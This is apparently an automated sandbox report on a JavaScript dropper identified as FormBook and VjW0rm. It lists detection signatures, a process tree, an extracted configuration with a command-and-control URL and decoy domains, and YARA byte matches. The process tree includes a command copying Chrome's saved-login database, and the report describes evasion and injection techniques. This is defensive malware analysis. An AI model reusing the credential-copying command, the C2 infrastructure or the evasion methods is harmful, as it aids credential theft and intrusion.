Edit tour

Windows Analysis Report
CIQ-PO16266.js

Overview

General Information

Sample Name:	CIQ-PO16266.js
Analysis ID:	635297
MD5:	3570adb415b3302811030be16c08f2ff
SHA1:	2da5d97870cfadf90ebb7890f58ee211ea112cbb
SHA256:	10087128422049e18547776f5785304fbf760279baddc0abdbf3943f66b780ff
Tags:	jsVjw0rm
Infos:

Detection

FormBook, VjW0rm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

System process connects to network (likely due to code injection or exploit)

Yara detected VjW0rm

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Antivirus detection for dropped file

Sigma detected: Drops script at startup location

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Sample uses process hollowing technique

Tries to steal Mail credentials (via file / registry access)

Wscript called in batch mode (surpress errors)

JavaScript source code contains functionality to generate code involving a shell, file or stream

Maps a DLL or memory area into another process

JavaScript source code contains call to eval containing suspicious API calls

Performs DNS queries to domains with low reputation

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Queues an APC in another process (thread injection)

Tries to detect virtualization through RDTSC time measurements

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

Drops script or batch files to the startup folder

C2 URLs / IPs found in malware configuration

Tries to harvest and steal browser information (history, passwords, etc)

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Stores files to the Windows start menu directory

Contains functionality to call native functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

PE file does not import any functions

Java / VBScript file with very long strings (likely obfuscated code)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Creates a start menu entry (Start Menu\Programs\Startup)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

JavaScript source code contains large arrays or strings with random content potentially encoding malicious code

Found WSH timer for Javascript or VBS script (likely evasive script)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6972 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\CIQ-PO16266.js" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 7152 cmdline: C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\wtheeNaAZG.js MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

bin.exe (PID: 6372 cmdline: "C:\Users\user\AppData\Local\Temp\bin.exe" MD5: FF568D4337CE1566C4140FA2FEDF8DB8)

explorer.exe (PID: 684 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

wscript.exe (PID: 3576 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wtheeNaAZG.js" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 1408 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wtheeNaAZG.js" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 6416 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wtheeNaAZG.js" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

rundll32.exe (PID: 6204 cmdline: C:\Windows\SysWOW64\rundll32.exe MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cmd.exe (PID: 1632 cmdline: /c del "C:\Users\user\AppData\Local\Temp\bin.exe" MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5820 cmdline: /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

oxx7nkdv4g8.exe (PID: 5868 cmdline: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe MD5: FF568D4337CE1566C4140FA2FEDF8DB8)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.gafcbooster.com/np8s/"], "decoy": ["segredovideos.online", "kishanshree.com", "mjmvn.com", "44bb44.com", "brawlhallacodestore.com", "littlebeartreeservices.com", "topings33.com", "nachuejooj07.xyz", "waermark.com", "halecamilla.site", "basincreekmedia.com", "resolutionmeasles.com", "interlink-travel.com", "siberup.xyz", "getbusinesscreditandfunding.com", "shcylzc.com", "68chengxinle.com", "jkrsbarmybookarmy.com", "geo-pacificoffshore.com", "refreshertowels.com", "localbloom.online", "brandingaloha.com", "84866.xyz", "salondutaxi.com", "harmlett.com", "angelmatic.net", "o7oiwlp.xyz", "thepowerofanopenquestion.com", "tokenascent.com", "udrivestorage.com", "hengyuejiguang.com", "minotaur.network", "ratebill.com", "18w99.com", "2264a.com", "tentanguang.online", "muddybootslife.com", "vitality-patients.online", "heavymettlelawyers.com", "spxtokensales.com", "titair.com", "lazarusnatura.com", "rasheedabossmoves.com", "medyumgalip.com", "liveafunday.xyz", "xn--wsthof-camping-gsb.com", "xfd8asvtivg944.xyz", "myhvn.site", "964061.com", "screeshot.com", "mysbaally.com", "connectfamily.loan", "langlev.com", "labsreports-menalab.com", "gabefancher.com", "jdhwh2nbiw234.com", "pdwfifi.com", "losangelesrentalz.com", "brandpay.xyz", "jlbwaterdamagerepairseattle.com", "wps-mtb.com", "sekolahkejepang.com", "saastainability.com", "multiverseofbooks.com"]}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
C:\Users\user\AppData\Local\Temp\bin.exe	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
C:\Users\user\AppData\Local\Temp\bin.exe	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
C:\Users\user\AppData\Local\Temp\bin.exe	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 4 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000017.00000000.888258763.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000017.00000000.888258763.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x155bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x89ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1406c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ba9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000017.00000000.888258763.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17819:$sqlite3step: 68 34 1C 7B E1 0x1792c:$sqlite3step: 68 34 1C 7B E1 0x17848:$sqlite3text: 68 38 2A 90 C5 0x1796d:$sqlite3text: 68 38 2A 90 C5 0x1785b:$sqlite3blob: 68 53 D8 7F 8C 0x17983:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.959380851.0000015595548000.00000004.00000020.00020000.00000000.sdmp	webshell_asp_generic	Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file	Arnim Rupp	0x7cf3:$asp_much_sus15: AntiVirus 0x3c48:$tagasp_short1: <%\xB7 0x5aa6:$tagasp_classid1: 72C24DD5-D70A-438B-8A42-98424B88AFB8 0x7c03:$asp_xml_http: Microsoft.XMLHTTP 0x83be:$asp_xml_method2: POST 0x194:$asp_text1: .text 0x7f99:$asp_payload2: eval( 0x8258:$asp_payload2: eval( 0x7bc2:$asp_payload11: WScript.Shell 0x7f73:$asp_multi_payload_one3: .run 0x807f:$asp_multi_payload_one3: .run 0x816f:$asp_multi_payload_one3: .run 0x82fa:$asp_multi_payload_one3: .run 0x7f55:$asp_always_write1: .Write 0x8063:$asp_always_write1: .Write 0x8152:$asp_always_write1: .Write 0x82dc:$asp_always_write1: .Write 0x7f39:$asp_write_way_one3: CreateTextFile 0x8106:$asp_write_way_one3: CreateTextFile 0x82c0:$asp_write_way_one3: CreateTextFile 0x5aa6:$tagasp_capa_classid1: 72C24DD5-D70A-438B-8A42-98424B88AFB8
00000002.00000002.959380851.0000015595548000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x155bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x89ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1406c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ba9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17819:$sqlite3step: 68 34 1C 7B E1 0x1792c:$sqlite3step: 68 34 1C 7B E1 0x17848:$sqlite3text: 68 38 2A 90 C5 0x1796d:$sqlite3text: 68 38 2A 90 C5 0x1785b:$sqlite3blob: 68 53 D8 7F 8C 0x17983:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x6345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x5df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x6447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x65bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x8819:$sqlite3step: 68 34 1C 7B E1 0x892c:$sqlite3step: 68 34 1C 7B E1 0x8848:$sqlite3text: 68 38 2A 90 C5 0x896d:$sqlite3text: 68 38 2A 90 C5 0x885b:$sqlite3blob: 68 53 D8 7F 8C 0x8983:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000002.964474352.000002A0FC393000.00000004.00000020.00020000.00000000.sdmp	webshell_asp_generic	Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file	Arnim Rupp	0x15d20:$asp_much_sus15: AntiVirus 0x1f0c2:$asp_much_sus15: AntiVirus 0x4f46:$tagasp_classid1: 72C24DD5-D70A-438B-8A42-98424B88AFB8 0x25b6:$tagasp_classid5: 0D43FE01-F093-11CF-8940-00A0C9054228 0x330e:$asp_xml_http: Microsoft.XMLHTTP 0x4284:$asp_xml_method2: POST 0x3a3a:$asp_payload2: eval( 0x3fb8:$asp_payload2: eval( 0x328c:$asp_payload11: WScript.Shell 0x39ee:$asp_multi_payload_one3: .run 0x3c06:$asp_multi_payload_one3: .run 0x3de6:$asp_multi_payload_one3: .run 0x40fc:$asp_multi_payload_one3: .run 0x39b2:$asp_always_write1: .Write 0x3bce:$asp_always_write1: .Write 0x3dac:$asp_always_write1: .Write 0x40c0:$asp_always_write1: .Write 0x397a:$asp_write_way_one3: CreateTextFile 0x3d14:$asp_write_way_one3: CreateTextFile 0x4088:$asp_write_way_one3: CreateTextFile 0x4f46:$tagasp_capa_classid1: 72C24DD5-D70A-438B-8A42-98424B88AFB8
00000009.00000002.964474352.000002A0FC393000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
0000000D.00000002.981077246.00000000005D0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000D.00000002.981077246.00000000005D0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000D.00000002.981077246.00000000005D0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000003.440159871.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0xc:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0x1c:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0x2c:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x3c:$x1: 78 34 4E 54 52 63 65 44 63 35 58 48 67 0x5c:$x1: 78 34 4E 6A 4A 63 65 44 59 35 58 48 67 0x7c:$x1: 78 34 4E 7A 4E 63 65 44 59 31 58 48 67 0xb0:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0xc0:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0xd0:$x1: 78 34 4E 6A 56 63 65 44 63 34 58 48 67 0x154:$x1: 78 34 4E 6A 56 63 65 44 63 77 58 48 67 0x164:$x1: 78 34 4E 6A 46 63 65 44 59 7A 58 48 67 0x238:$x1: 78 34 4E 7A 4A 63 65 44 63 79 58 48 67 0x248:$x1: 78 34 4E 7A 6C 63 65 44 49 34 58 48 67 0x2b4:$x1: 78 34 4E 54 64 63 65 44 55 7A 58 48 67 0x2d4:$x1: 78 34 4E 6A 56 63 65 44 59 78 58 48 67 0x2e4:$x1: 78 34 4E 6A 56 63 65 44 52 6D 58 48 67 0x2f4:$x1: 78 34 4E 6D 46 63 65 44 59 31 58 48 67 0x304:$x1: 78 34 4E 7A 52 63 65 44 49 34 58 48 67 0x314:$x1: 78 34 4E 6A 46 63 65 44 59 30 58 48 67 0x324:$x1: 78 34 4E 6A 52 63 65 44 59 79 58 48 67 0x334:$x1: 78 34 4E 7A 4E 63 65 44 63 30 58 48 67
00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x155bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x89ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1406c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9732:$sequence_7: 66 89 0C 02 5B 8B E5 5D
00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17819:$sqlite3step: 68 34 1C 7B E1 0x1792c:$sqlite3step: 68 34 1C 7B E1 0x17848:$sqlite3text: 68 38 2A 90 C5 0x1796d:$sqlite3text: 68 38 2A 90 C5 0x1785b:$sqlite3blob: 68 53 D8 7F 8C 0x17983:$sqlite3blob: 68 53 D8 7F 8C
0000000D.00000002.1028333019.0000000004867000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000D.00000002.1028333019.0000000004867000.00000004.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9578:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9912:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16cb5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x16761:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16db7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x16f2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa32a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x159dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb0a2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1c307:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1d40a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000D.00000002.1028333019.0000000004867000.00000004.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x19189:$sqlite3step: 68 34 1C 7B E1 0x1929c:$sqlite3step: 68 34 1C 7B E1 0x191b8:$sqlite3text: 68 38 2A 90 C5 0x192dd:$sqlite3text: 68 38 2A 90 C5 0x191cb:$sqlite3blob: 68 53 D8 7F 8C 0x192f3:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000003.438650051.000001C6B5E12000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x29d0:$x1: 78 34 4E 6D 56 63 65 44 59 30 58 48 67 0x29e0:$x1: 78 34 4E 6A 5A 63 65 44 59 35 58 48 67 0x300c:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0x301c:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0x302c:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x303c:$x1: 78 34 4E 54 52 63 65 44 63 35 58 48 67 0x305c:$x1: 78 34 4E 6A 4A 63 65 44 59 35 58 48 67 0x307c:$x1: 78 34 4E 7A 4E 63 65 44 59 31 58 48 67 0x30b0:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0x30c0:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0x30d0:$x1: 78 34 4E 6A 56 63 65 44 63 34 58 48 67 0x3154:$x1: 78 34 4E 6A 56 63 65 44 63 77 58 48 67 0x3164:$x1: 78 34 4E 6A 46 63 65 44 59 7A 58 48 67 0x3238:$x1: 78 34 4E 7A 4A 63 65 44 63 79 58 48 67 0x3248:$x1: 78 34 4E 7A 6C 63 65 44 49 34 58 48 67 0x32b4:$x1: 78 34 4E 54 64 63 65 44 55 7A 58 48 67 0x32d4:$x1: 78 34 4E 6A 56 63 65 44 59 78 58 48 67 0x32e4:$x1: 78 34 